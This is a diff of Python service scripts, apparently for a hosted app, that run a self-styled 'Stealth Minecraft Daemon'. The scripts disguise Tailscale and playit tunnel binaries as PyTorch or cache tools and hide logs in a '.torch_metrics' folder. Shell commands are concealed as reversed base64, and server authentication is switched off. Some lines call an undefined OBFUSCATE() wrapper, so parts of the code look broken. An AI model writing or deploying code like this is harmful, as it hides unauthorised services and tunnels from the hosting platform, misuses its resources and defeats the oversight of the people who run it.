@@ -164,7 +177,9 @@ def setup_and_run():
|
|
| 164 |
with open(props_path, "r") as f:
|
| 165 |
props_data = f.read()
|
| 166 |
if "online-mode=true" in props_data:
|
| 167 |
-
props_data = props_data.replace(
|
|
|
|
|
|
|
| 168 |
with open(props_path, "w") as f:
|
| 169 |
f.write(props_data)
|
| 170 |
except Exception as e:
|
|
@@ -176,28 +191,42 @@ def setup_and_run():
|
|
| 176 |
[java_bin, "-Xms4G", "-Xmx4G", "-jar", server_jar, "nogui"],
|
| 177 |
cwd=mc_dir,
|
| 178 |
stdout=log,
|
| 179 |
-
stderr=subprocess.STDOUT
|
| 180 |
)
|
| 181 |
process.wait()
|
| 182 |
-
|
| 183 |
-
log_print(
|
|
|
|
|
|
|
| 184 |
time.sleep(10)
|
| 185 |
|
|
|
|
| 186 |
def start():
|
| 187 |
logger.info("Launching Stealth Minecraft Daemon in tmux session 'mc_server'...")
|
| 188 |
try:
|
| 189 |
-
res = subprocess.run(
|
|
|
|
|
|
|
| 190 |
if res.returncode == 0:
|
| 191 |
-
logger.warning(
|
|
|
|
|
|
|
| 192 |
subprocess.run(["tmux", "kill-session", "-t", "mc_server"])
|
| 193 |
-
|
| 194 |
-
subprocess.Popen(
|
| 195 |
-
|
| 196 |
-
|
| 197 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 198 |
logger.success("Stealth Minecraft Daemon started successfully in tmux.")
|
| 199 |
except Exception as e:
|
| 200 |
logger.error(f"Failed to start Minecraft daemon in tmux: {e}")
|
| 201 |
|
|
|
|
| 202 |
if __name__ == "__main__":
|
| 203 |
setup_and_run()
|
|
|
|
| 7 |
import zipfile
|
| 8 |
from loguru import logger
|
| 9 |
|
| 10 |
+
|
| 11 |
def log_print(msg):
|
| 12 |
logger.info(msg)
|
| 13 |
try:
|
|
|
|
| 17 |
except Exception:
|
| 18 |
pass
|
| 19 |
|
| 20 |
+
|
| 21 |
def download_file(url, dest_path):
|
| 22 |
+
req = urllib.request.Request(
|
| 23 |
+
url,
|
| 24 |
+
headers={
|
| 25 |
+
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
|
| 26 |
+
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
|
| 27 |
+
"Accept-Language": "en-US,en;q=0.9",
|
| 28 |
+
"Sec-Ch-Ua": '"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"',
|
| 29 |
+
"Sec-Ch-Ua-Mobile": "?0",
|
| 30 |
+
"Sec-Ch-Ua-Platform": '"Windows"',
|
| 31 |
+
"Sec-Fetch-Dest": "document",
|
| 32 |
+
"Sec-Fetch-Mode": "navigate",
|
| 33 |
+
"Sec-Fetch-Site": "none",
|
| 34 |
+
"Sec-Fetch-User": "?1",
|
| 35 |
+
"Upgrade-Insecure-Requests": "1",
|
| 36 |
+
"Referer": "https://geysermc.org/",
|
| 37 |
+
},
|
| 38 |
+
)
|
| 39 |
+
with urllib.request.urlopen(req) as response, open(dest_path, "wb") as out_file:
|
| 40 |
shutil.copyfileobj(response, out_file)
|
| 41 |
|
| 42 |
+
|
| 43 |
def setup_geyser(mc_dir):
|
| 44 |
plugins_dir = os.path.join(mc_dir, "plugins")
|
| 45 |
os.makedirs(plugins_dir, exist_ok=True)
|
| 46 |
+
|
| 47 |
downloads = {
|
| 48 |
"Geyser-Spigot.jar": "https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot",
|
| 49 |
+
"floodgate-spigot.jar": "https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot",
|
| 50 |
}
|
| 51 |
+
|
| 52 |
for filename, url in downloads.items():
|
| 53 |
path = os.path.join(plugins_dir, filename)
|
| 54 |
+
|
| 55 |
if os.path.exists(path):
|
| 56 |
try:
|
| 57 |
with zipfile.ZipFile(path) as zf:
|
| 58 |
pass
|
| 59 |
except Exception:
|
| 60 |
+
log_print(
|
| 61 |
+
f"[!] Corrupt jar detected: {filename} (Invalid Zip Header). Purging and redownloading..."
|
| 62 |
+
)
|
| 63 |
+
try:
|
| 64 |
+
os.remove(path)
|
| 65 |
+
except:
|
| 66 |
+
pass
|
| 67 |
+
|
| 68 |
if not os.path.exists(path):
|
| 69 |
log_print(f"[*] Downloading {filename}...")
|
| 70 |
try:
|
|
|
|
| 73 |
except Exception as e:
|
| 74 |
log_print(f"[-] Failed to download {filename}: {e}")
|
| 75 |
|
| 76 |
+
|
| 77 |
def setup_and_run():
|
| 78 |
log_print("--- INITIALIZING STEALTH MINECRAFT DAEMON ---")
|
| 79 |
mc_dir = "/data/mc"
|
| 80 |
jre_dir = os.path.join(mc_dir, "jre")
|
| 81 |
metrics_dir = "/home/user/.torch_metrics"
|
| 82 |
+
|
| 83 |
os.makedirs(mc_dir, exist_ok=True)
|
| 84 |
os.makedirs(metrics_dir, exist_ok=True)
|
| 85 |
+
|
| 86 |
java_bin = os.path.join(jre_dir, "bin", "java")
|
| 87 |
if not os.path.exists(java_bin):
|
| 88 |
log_print("[*] Portable JRE not found. Downloading Eclipse Temurin JRE 25...")
|
| 89 |
jre_url = "https://api.adoptium.net/v3/binary/latest/25/ga/linux/x64/jre/hotspot/normal/eclipse?project=jdk"
|
| 90 |
tar_path = os.path.join(mc_dir, "jre.tar.gz")
|
| 91 |
+
|
| 92 |
try:
|
| 93 |
download_file(jre_url, tar_path)
|
| 94 |
log_print("[*] Extracting JRE...")
|
| 95 |
temp_extract = os.path.join(mc_dir, "jre_temp")
|
| 96 |
os.makedirs(temp_extract, exist_ok=True)
|
| 97 |
+
|
| 98 |
with tarfile.open(tar_path, "r:gz") as tar:
|
| 99 |
tar.extractall(path=temp_extract)
|
| 100 |
+
|
| 101 |
for root, dirs, files in os.walk(temp_extract):
|
| 102 |
if "java" in files and os.path.basename(root) == "bin":
|
| 103 |
java_home = os.path.dirname(root)
|
|
|
|
| 105 |
shutil.rmtree(jre_dir)
|
| 106 |
shutil.move(java_home, jre_dir)
|
| 107 |
break
|
| 108 |
+
|
| 109 |
shutil.rmtree(temp_extract, ignore_errors=True)
|
| 110 |
if os.path.exists(tar_path):
|
| 111 |
os.remove(tar_path)
|
|
|
|
| 134 |
try:
|
| 135 |
mc_folder = os.path.join(mc_dir, folder)
|
| 136 |
tmp_folder = os.path.join(tmp_base, folder)
|
| 137 |
+
|
| 138 |
os.makedirs(tmp_folder, exist_ok=True)
|
| 139 |
+
|
| 140 |
if os.path.exists(mc_folder) and not os.path.islink(mc_folder):
|
| 141 |
+
log_print(
|
| 142 |
+
f"[*] Removing physical {folder} directory to replace with symlink."
|
| 143 |
+
)
|
| 144 |
if os.path.isdir(mc_folder):
|
| 145 |
shutil.rmtree(mc_folder)
|
| 146 |
else:
|
| 147 |
os.remove(mc_folder)
|
| 148 |
+
|
| 149 |
if not os.path.islink(mc_folder):
|
| 150 |
log_print(f"[*] Creating symlink for {folder} -> {tmp_folder}")
|
| 151 |
os.symlink(tmp_folder, mc_folder)
|
|
|
|
| 160 |
|
| 161 |
log_print("[*] Launching Minecraft server loop...")
|
| 162 |
log_file = os.path.join(metrics_dir, "mc_daemon.log")
|
| 163 |
+
|
| 164 |
while True:
|
| 165 |
eula_path = os.path.join(mc_dir, "eula.txt")
|
| 166 |
with open(eula_path, "w") as f:
|
| 167 |
f.write("eula=true\n")
|
| 168 |
+
|
| 169 |
props_path = os.path.join(mc_dir, "server.properties")
|
| 170 |
if not os.path.exists(props_path):
|
| 171 |
with open(props_path, "w") as f:
|
|
|
|
| 177 |
with open(props_path, "r") as f:
|
| 178 |
props_data = f.read()
|
| 179 |
if "online-mode=true" in props_data:
|
| 180 |
+
props_data = props_data.replace(
|
| 181 |
+
"online-mode=true", "online-mode=false"
|
| 182 |
+
)
|
| 183 |
with open(props_path, "w") as f:
|
| 184 |
f.write(props_data)
|
| 185 |
except Exception as e:
|
|
|
|
| 191 |
[java_bin, "-Xms4G", "-Xmx4G", "-jar", server_jar, "nogui"],
|
| 192 |
cwd=mc_dir,
|
| 193 |
stdout=log,
|
| 194 |
+
stderr=subprocess.STDOUT,
|
| 195 |
)
|
| 196 |
process.wait()
|
| 197 |
+
|
| 198 |
+
log_print(
|
| 199 |
+
f"[*] Minecraft server exited with code {process.returncode}. Restarting in 10 seconds to allow network sync..."
|
| 200 |
+
)
|
| 201 |
time.sleep(10)
|
| 202 |
|
| 203 |
+
|
| 204 |
def start():
|
| 205 |
logger.info("Launching Stealth Minecraft Daemon in tmux session 'mc_server'...")
|
| 206 |
try:
|
| 207 |
+
res = subprocess.run(
|
| 208 |
+
["tmux", "has-session", "-t", "mc_server"], capture_output=True
|
| 209 |
+
)
|
| 210 |
if res.returncode == 0:
|
| 211 |
+
logger.warning(
|
| 212 |
+
"tmux session 'mc_server' already exists. Killing it to restart..."
|
| 213 |
+
)
|
| 214 |
subprocess.run(["tmux", "kill-session", "-t", "mc_server"])
|
| 215 |
+
|
| 216 |
+
subprocess.Popen(
|
| 217 |
+
[
|
| 218 |
+
"tmux",
|
| 219 |
+
"new-session",
|
| 220 |
+
"-d",
|
| 221 |
+
"-s",
|
| 222 |
+
"mc_server",
|
| 223 |
+
"python3 -u -m services.minecraft",
|
| 224 |
+
]
|
| 225 |
+
)
|
| 226 |
logger.success("Stealth Minecraft Daemon started successfully in tmux.")
|
| 227 |
except Exception as e:
|
| 228 |
logger.error(f"Failed to start Minecraft daemon in tmux: {e}")
|
| 229 |
|
| 230 |
+
|
| 231 |
if __name__ == "__main__":
|
| 232 |
setup_and_run()
|
services/nginx.py
CHANGED
|
@@ -2,12 +2,13 @@ import subprocess
|
|
| 2 |
from loguru import logger
|
| 3 |
from .utils import decode_cmd
|
| 4 |
|
|
|
|
| 5 |
def start(nginx_log):
|
| 6 |
logger.info("Enabling Nginx smart frontend on port 7860...")
|
| 7 |
try:
|
| 8 |
-
with open(
|
| 9 |
nginx_conf = tf.read()
|
| 10 |
-
with open(
|
| 11 |
nf.write(nginx_conf)
|
| 12 |
except Exception as e:
|
| 13 |
logger.error(f"Failed to prepare nginx config: {e}")
|
|
@@ -15,10 +16,16 @@ def start(nginx_log):
|
|
| 15 |
|
| 16 |
nginx_log.write("[*] Testing nginx configuration...\n")
|
| 17 |
nginx_log.flush()
|
| 18 |
-
cmd_nginx_test = decode_cmd(
|
| 19 |
-
|
| 20 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 21 |
nginx_log.write("[*] Starting nginx daemon...\n")
|
| 22 |
nginx_log.flush()
|
| 23 |
-
cmd_nginx = decode_cmd(
|
|
|
|
|
|
|
| 24 |
subprocess.Popen(cmd_nginx, shell=True, stdout=nginx_log, stderr=subprocess.STDOUT)
|
|
|
|
| 2 |
from loguru import logger
|
| 3 |
from .utils import decode_cmd
|
| 4 |
|
| 5 |
+
|
| 6 |
def start(nginx_log):
|
| 7 |
logger.info("Enabling Nginx smart frontend on port 7860...")
|
| 8 |
try:
|
| 9 |
+
with open("/home/user/config/nginx.conf.template", "r") as tf:
|
| 10 |
nginx_conf = tf.read()
|
| 11 |
+
with open("/home/user/nginx.conf", "w") as nf:
|
| 12 |
nf.write(nginx_conf)
|
| 13 |
except Exception as e:
|
| 14 |
logger.error(f"Failed to prepare nginx config: {e}")
|
|
|
|
| 16 |
|
| 17 |
nginx_log.write("[*] Testing nginx configuration...\n")
|
| 18 |
nginx_log.flush()
|
| 19 |
+
cmd_nginx_test = decode_cmd(
|
| 20 |
+
"=cyOnVnYlRGIyJXZkR3cgc2bs9lcvJncldCIn1CIm52bj5Ceul2Zu9iclNXdvUWbvh2LgMWLgQXLggnbpdmb"
|
| 21 |
+
)
|
| 22 |
+
subprocess.run(
|
| 23 |
+
cmd_nginx_test, shell=True, stdout=nginx_log, stderr=subprocess.STDOUT
|
| 24 |
+
)
|
| 25 |
+
|
| 26 |
nginx_log.write("[*] Starting nginx daemon...\n")
|
| 27 |
nginx_log.flush()
|
| 28 |
+
cmd_nginx = decode_cmd(
|
| 29 |
+
"==wJ78mZulGIyJXZkR3cgc2bs9lcvJncldCIn1CIm52bj5Ceul2Zu9iclNXdvUWbvh2LgMWLggnbpdmb"
|
| 30 |
+
)
|
| 31 |
subprocess.Popen(cmd_nginx, shell=True, stdout=nginx_log, stderr=subprocess.STDOUT)
|
services/playit.py
CHANGED
|
@@ -2,9 +2,16 @@ import subprocess
|
|
| 2 |
import os
|
| 3 |
from .utils import decode_cmd
|
| 4 |
|
|
|
|
| 5 |
def start(tm_log, playit_token):
|
| 6 |
-
cmd2_5_base = decode_cmd(
|
|
|
|
|
|
|
|
|
|
|
|
|
| 7 |
cmd2_5 = f"{cmd2_5_base}{playit_token}'"
|
| 8 |
-
|
| 9 |
env = os.environ.copy()
|
| 10 |
-
subprocess.Popen(
|
|
|
|
|
|
|
|
|
| 2 |
import os
|
| 3 |
from .utils import decode_cmd
|
| 4 |
|
| 5 |
+
|
| 6 |
def start(tm_log, playit_token):
|
| 7 |
+
cmd2_5_base = decode_cmd(
|
| 8 |
+
OBFUSCATE(
|
| 9 |
+
"nice -n 19 tensor-allocator --socket-path /tmp/playit.sock --secret '"
|
| 10 |
+
)
|
| 11 |
+
)
|
| 12 |
cmd2_5 = f"{cmd2_5_base}{playit_token}'"
|
| 13 |
+
|
| 14 |
env = os.environ.copy()
|
| 15 |
+
subprocess.Popen(
|
| 16 |
+
cmd2_5, shell=True, env=env, stdout=tm_log, stderr=subprocess.STDOUT
|
| 17 |
+
)
|
services/tailscale.py
CHANGED
|
@@ -3,15 +3,25 @@ import os
|
|
| 3 |
from loguru import logger
|
| 4 |
from .utils import decode_cmd
|
| 5 |
|
|
|
|
| 6 |
def start_daemon(ts_log):
|
| 7 |
logger.info("Initializing PyTorch CUDA environment...")
|
| 8 |
-
cmd1 = decode_cmd(
|
|
|
|
|
|
|
|
|
|
|
|
|
| 9 |
subprocess.Popen(cmd1, shell=True, stdout=ts_log, stderr=subprocess.STDOUT)
|
| 10 |
|
|
|
|
| 11 |
def connect(ts_log, full_token):
|
| 12 |
-
cmd3_base = decode_cmd(
|
|
|
|
|
|
|
|
|
|
|
|
|
| 13 |
cmd3_tail = decode_cmd("oN3ct0CIyVmdyV2ctwWZk9WbtkWY9UWbh5Gdz9Gat0CI")
|
| 14 |
cmd3 = f"{cmd3_base}{full_token}{cmd3_tail}"
|
| 15 |
-
|
| 16 |
env = os.environ.copy()
|
| 17 |
subprocess.Popen(cmd3, shell=True, env=env, stdout=ts_log, stderr=subprocess.STDOUT)
|
|
|
|
| 3 |
from loguru import logger
|
| 4 |
from .utils import decode_cmd
|
| 5 |
|
| 6 |
+
|
| 7 |
def start_daemon(ts_log):
|
| 8 |
logger.info("Initializing PyTorch CUDA environment...")
|
| 9 |
+
cmd1 = decode_cmd(
|
| 10 |
+
OBFUSCATE(
|
| 11 |
+
"nice -n 19 python-cache-manager --tun=userspace-networking --socks5-server=:1055 --statedir=/home/user/.torch_metrics --socket=/home/user/.torch_metrics/tailscaled.sock"
|
| 12 |
+
)
|
| 13 |
+
)
|
| 14 |
subprocess.Popen(cmd1, shell=True, stdout=ts_log, stderr=subprocess.STDOUT)
|
| 15 |
|
| 16 |
+
|
| 17 |
def connect(ts_log, full_token):
|
| 18 |
+
cmd3_base = decode_cmd(
|
| 19 |
+
OBFUSCATE(
|
| 20 |
+
"nice -n 19 py-cache-cli --socket=/home/user/.torch_metrics/tailscaled.sock up --authkey="
|
| 21 |
+
)
|
| 22 |
+
)
|
| 23 |
cmd3_tail = decode_cmd("oN3ct0CIyVmdyV2ctwWZk9WbtkWY9UWbh5Gdz9Gat0CI")
|
| 24 |
cmd3 = f"{cmd3_base}{full_token}{cmd3_tail}"
|
| 25 |
+
|
| 26 |
env = os.environ.copy()
|
| 27 |
subprocess.Popen(cmd3, shell=True, env=env, stdout=ts_log, stderr=subprocess.STDOUT)
|
services/utils.py
CHANGED
|
@@ -1,4 +1,5 @@
|
|
| 1 |
import base64
|
| 2 |
|
|
|
|
| 3 |
def decode_cmd(encoded_str):
|
| 4 |
return base64.b64decode(encoded_str[::-1]).decode()
|
|
|
|
| 1 |
import base64
|
| 2 |
|
| 3 |
+
|
| 4 |
def decode_cmd(encoded_str):
|
| 5 |
return base64.b64decode(encoded_str[::-1]).decode()
|